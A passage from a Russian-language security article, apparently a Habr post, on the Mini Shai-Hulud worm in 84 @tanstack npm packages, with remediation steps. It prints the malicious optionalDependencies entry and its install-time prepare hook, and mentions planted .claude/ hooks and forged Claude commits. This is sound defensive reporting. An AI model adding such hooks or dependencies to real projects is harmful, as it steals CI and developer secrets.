{"id":479394,"date":"2026-05-12T07:55:48","date_gmt":"2026-05-12T07:55:48","guid":{"rendered":"https:\/\/savepearlharbor.com\/?p=479394"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=479394","title":{"rendered":"\u0421\u043d\u043e\u0432\u0430 GitHub Actions: \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u043d\u0430 TanStack, 84 \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439"},"content":{"rendered":"<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width \"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d10\/703\/e2c\/d10703e2ca3353f793c84fa88c372b41.png\" width=\"780\" height=\"440\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/getpro\/habr\/upload_files\/d10\/703\/e2c\/d10703e2ca3353f793c84fa88c372b41.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d10\/703\/e2c\/d10703e2ca3353f793c84fa88c372b41.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/figure>\n<p>\u041a\u043e\u043c\u0430\u043d\u0434\u0430 Socket Threat Research \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e 84 npm-\u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0435 <code>@tanstack<\/code>: \u0432 \u043d\u0438\u0445 \u0432\u043d\u0435\u0434\u0440\u0438\u043b\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0438\u043c\u043f\u043b\u0430\u043d\u0442 Mini Shai-Hulud, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 \u043a\u0440\u0430\u0436\u0443 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432 \u0438\u0437 CI\/CD-\u0441\u0440\u0435\u0434, \u0432\u043a\u043b\u044e\u0447\u0430\u044f GitHub Actions.  <\/p>\n<p>\u0410\u0442\u0430\u043a\u0430 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 lifecycle-\u0445\u0443\u043a\u0438 npm, \u0430 \u0441\u0440\u0435\u0434\u0438 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0435\u0441\u0442\u044c \u043a\u0440\u0430\u0439\u043d\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <code>@tanstack\/react-router<\/code> \u0441 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 12 \u043c\u043b\u043d \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u0432 \u043d\u0435\u0434\u0435\u043b\u044e. \u0412\u0441\u0451 \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u0434\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u041f\u041e. <\/p>\n<p>\u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u0440\u0438\u0441\u043a\u0438 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u0435\u0440\u0432\u043e\u043e\u0447\u0435\u0440\u0435\u0434\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u2014 \u043e\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043e \u0440\u043e\u0442\u0430\u0446\u0438\u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432 \u0438 \u0430\u0443\u0434\u0438\u0442\u0430 CI-\u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d\u043e\u0432.<\/p>\n<h3>\u041f\u0440\u0438\u043d\u0446\u0438\u043f \u0440\u0430\u0431\u043e\u0442\u044b \u0447\u0435\u0440\u0432\u044f<\/h3>\n<p>\u0412\u0441\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u043d\u043e\u0432\u044b\u0439\u00a0 \u0444\u0430\u0439\u043b <code>router_init.js<\/code>, \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u043e\u043a\u043e\u043b\u043e 2,3 \u041c\u0411. \u041e\u043d \u0441\u0438\u043b\u044c\u043d\u043e \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0445 \u0434\u043b\u044f <code>javascript-obfuscator<\/code> (\u0440\u043e\u0442\u0430\u0446\u0438\u044f \u043c\u0430\u0441\u0441\u0438\u0432\u043e\u0432 \u0441\u0442\u0440\u043e\u043a, \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430\u043c \u0432 hex-\u0444\u043e\u0440\u043c\u0430\u0442\u0435 \u0432\u0440\u043e\u0434\u0435 <code>_0x253b<\/code>, \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0442\u043e\u043a\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u043e\u0432 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0439 <code>while(!![]){}<\/code>, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043c\u0451\u0440\u0442\u0432\u043e\u0433\u043e \u043a\u043e\u0434\u0430). \u042d\u0442\u043e \u0437\u0430\u043c\u0435\u0442\u043d\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u043e\u0442 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u043c\u0438\u043d\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a <strong>Terser<\/strong>, <strong>esbuild<\/strong> \u0438\u043b\u0438 <strong>swc<\/strong>.<\/p>\n<p>\u0424\u0430\u0439\u043b \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:<\/p>\n<ul>\n<li>\n<p>\u0434\u0435\u043c\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u044e \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 spawn \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 DAEMONIZED \u0438 \u043e\u0442\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u043c stdio;<\/p>\n<\/li>\n<li>\n<p>\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u043c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f GITHUB_* (\u0441\u0435\u043a\u0440\u0435\u0442\u044b, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 Actions\/CI, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0442\u043e\u043a\u0435\u043d\u044b \u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\/\u0430\u043a\u0442\u043e\u0440\u0430);<\/p>\n<\/li>\n<li>\n<p>\u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u043e\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0441 \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u043c \u0446\u0438\u043a\u043b\u043e\u043c \u0447\u0442\u0435\u043d\u0438\u0435\/\u0437\u0430\u043f\u0438\u0441\u044c\/\u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435;<\/p>\n<\/li>\n<li>\n<p>\u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043f\u043e\u0442\u043e\u043a\u043e\u0432\u043e\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\/\u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.<\/p>\n<\/li>\n<\/ul>\n<p>\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u043f\u043e\u043b\u0435 optionalDependencies \u0432 \u0444\u0430\u0439\u043b\u0435 package.json, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 TanStack\/router \u0441 \u0445\u0435\u0448\u0435\u043c \u043a\u043e\u043c\u043c\u0438\u0442\u0430 <code>79ac49eedf774dd4b0cfa308722bc463cfe5885c<\/code>.<\/p>\n<pre><code class=\"json\"> \"optionalDependencies\": {    \"@tanstack\/setup\": \"github:tanstack\/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c\"  }<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:87px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u042d\u0442\u043e\u0442 \u043a\u043e\u043c\u043c\u0438\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u044f. \u041e\u043d \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u0435\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438. \u0412 \u043d\u0435\u0433\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0432\u0441\u0435\u0433\u043e \u0434\u0432\u0430 \u0444\u0430\u0439\u043b\u0430: package.json \u0438 tanstack_runner.js. \u0424\u0430\u0439\u043b package.json \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c @tanstack\/setup \u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 \u0445\u0443\u043a \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430 prepare, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 bun run tanstack_runner.js &amp;&amp; exit 1. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0445\u0443\u043a\u0438 \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430 npm \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 git, \u044d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0445 \u0441\u0442\u0430\u043d\u0446\u0438\u044f\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0438\u043b\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 CI \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438.<\/p>\n<p>\u0410\u0432\u0442\u043e\u0440 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 \u2014 \u0430\u043a\u043a\u0430\u0443\u043d\u0442 GitHub <strong>voicproducoes<\/strong>, \u0447\u044c\u0438 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0441 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u0442\u0438\u043f\u0430 \u00abA Mini Shai-Hulud has Appeared\u00bb. \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u0432\u0437\u043b\u043e\u043c, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0441\u0432\u044f\u0437\u0430\u043d \u0441 <a href=\"https:\/\/habr.com\/ru\/companies\/first\/articles\/969916\/\">\u043d\u0435\u0434\u0430\u0432\u043d\u0438\u043c\u0438 <\/a>\u043a\u0440\u0443\u043f\u043d\u043e\u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u043c\u0438 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u043c\u0438 \u043f\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a npm, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u0431\u044b\u043b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d.<\/p>\n<p>\u0412 \u043f\u043e\u0441\u0442\u043c\u043e\u0440\u0442\u0435\u043c\u0435 TanStack \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044f \u043e\u0431\u044a\u044f\u0441\u043d\u044f\u0435\u0442\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0430\u0442\u0430\u043a \u043d\u0430 GitHub Actions, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0435\u0439 \u043f\u0430\u0442\u0442\u0435\u0440\u043d <code>pull_request_target<\/code> \u00abPwn Request\u00bb \u2192 \u043e\u0442\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043a\u044d\u0448\u0430 GitHub Actions \u0447\u0435\u0440\u0435\u0437 \u0433\u0440\u0430\u043d\u0438\u0446\u0443 \u0434\u043e\u0432\u0435\u0440\u0438\u044f fork-to-base \u2192 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043a\u0435\u043d\u0430 OIDC \u0438\u0437 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 GitHub Actions runner. \u041a\u043e\u043c\u0430\u043d\u0434\u0430 TanStack \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0442\u043e\u043a\u0435\u043d\u044b npm \u043d\u0435 \u0431\u044b\u043b\u0438 \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u044b, \u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 npm \u043d\u0435 \u0431\u044b\u043b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d. \u0412\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0432 CI, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u044b \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u0432 npm \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0447\u0435\u0440\u0435\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e OIDC-\u0441\u0432\u044f\u0437\u043a\u0443.<\/p>\n<h3>\u041a\u0430\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0432\u043e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u0432\u0437\u043b\u043e\u043c\u0430:<\/h3>\n<ol>\n<li>\n<p><strong>\u041f\u0440\u043e\u0432\u0435\u0434\u0438\u0442\u0435 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443:<br \/><\/strong>\u0412\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0435 shasum -a 256 \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 router_init.js \u0432 \u0434\u0435\u0440\u0435\u0432\u0435 \u0432\u0430\u0448\u0438\u0445 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0421\u0432\u0435\u0440\u044c\u0442\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441 \u0445\u0435\u0448\u0435\u043c:<br \/>ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c.<\/p>\n<\/li>\n<li>\n<p><strong>\u0421\u043c\u0435\u043d\u0438\u0442\u0435 \u0432\u0441\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u044b<\/strong> \u043d\u0430 \u043b\u044e\u0431\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445, \u0433\u0434\u0435 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f @tanstack\/*.<br \/>\u041f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u0442\u0430\u043a\u043e\u0439:<\/p>\n<ul>\n<li>\n<p>\u0442\u043e\u043a\u0435\u043d\u044b npm;<\/p>\n<\/li>\n<li>\n<p>GitHub PAT-\u0442\u043e\u043a\u0435\u043d\u044b \/ OIDC-\u0434\u043e\u0432\u0435\u0440\u0438\u044f;<\/p>\n<\/li>\n<li>\n<p>\u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 AWS (\u043a\u0430\u043a \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043a\u043b\u044e\u0447\u0438, \u0442\u0430\u043a \u0438 \u0440\u043e\u043b\u0438 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432);<\/p>\n<\/li>\n<li>\n<p>\u0442\u043e\u043a\u0435\u043d\u044b Vault;<\/p>\n<\/li>\n<li>\n<p>\u0442\u043e\u043a\u0435\u043d\u044b service account \u0432 Kubernetes.<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p><strong>\u041e\u0442\u0437\u043e\u0432\u0438\u0442\u0435 \u043f\u0440\u0430\u0432\u0430 \u0444\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 OIDC \u0434\u043b\u044f GitHub Actions<\/strong> \u0443 \u0432\u0441\u0435\u0445 npm-\u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432; \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0439\u0442\u0435 \u0438\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f, \u0447\u0442\u043e workflow \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0435 \u0431\u044b\u043b \u0438\u0437\u043c\u0435\u043d\u0451\u043d \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.<\/p>\n<\/li>\n<li>\n<p><strong>\u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438<\/strong> .claude\/ <strong>\u0438<\/strong> .vscode\/<br \/>\u0432\u043e \u0432\u0441\u0435\u0445 \u0434\u043e\u043c\u0430\u0448\u043d\u0438\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0438 \u0432 \u043a\u043e\u0440\u043d\u044f\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432. \u0423\u0434\u0430\u043b\u0438\u0442\u0435 router_runtime.js, setup.mjs, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043b\u044e\u0431\u044b\u0435 \u043d\u0435\u0437\u043d\u0430\u043a\u043e\u043c\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0445\u0443\u043a\u0430\u0445 settings.json \u0438\u043b\u0438 \u0432 tasks.json.<\/p>\n<\/li>\n<li>\n<p><strong>\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u043a\u043e\u043c\u043c\u0438\u0442\u044b<\/strong> \u0432 \u0432\u0430\u0448\u0438\u0445 GitHub-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u043e\u0442 \u0430\u0432\u0442\u043e\u0440\u0430 <a href=\"mailto:claude@users.noreply.github.com\">claude@users.noreply.github.com<\/a>, \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u043d\u0435 \u0431\u044b\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u044b \u0447\u0435\u0440\u0435\u0437 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0435 GitHub-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Claude Code.<br \/>\u0427\u0442\u043e\u0431\u044b \u043d\u0430\u0439\u0442\u0438 \u0442\u0430\u043a\u0438\u0435 \u043a\u043e\u043c\u043c\u0438\u0442\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435:<br \/>git log &#8212;all &#8212;<a href=\"mailto:author=claude@users.noreply.github.com\">author=claude@users.noreply.github.com<\/a><br \/>\u0415\u0441\u043b\u0438 \u0442\u0430\u043a\u0438\u0435 \u043a\u043e\u043c\u043c\u0438\u0442\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u2014 \u043e\u0442\u043c\u0435\u043d\u0438\u0442\u0435 \u0438\u0445 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0435 force-push.<\/p>\n<\/li>\n<li>\n<p><strong>\u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u043b\u043e\u0433\u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 npm<\/strong> \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0439 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432\u0430\u0448\u0435\u0439 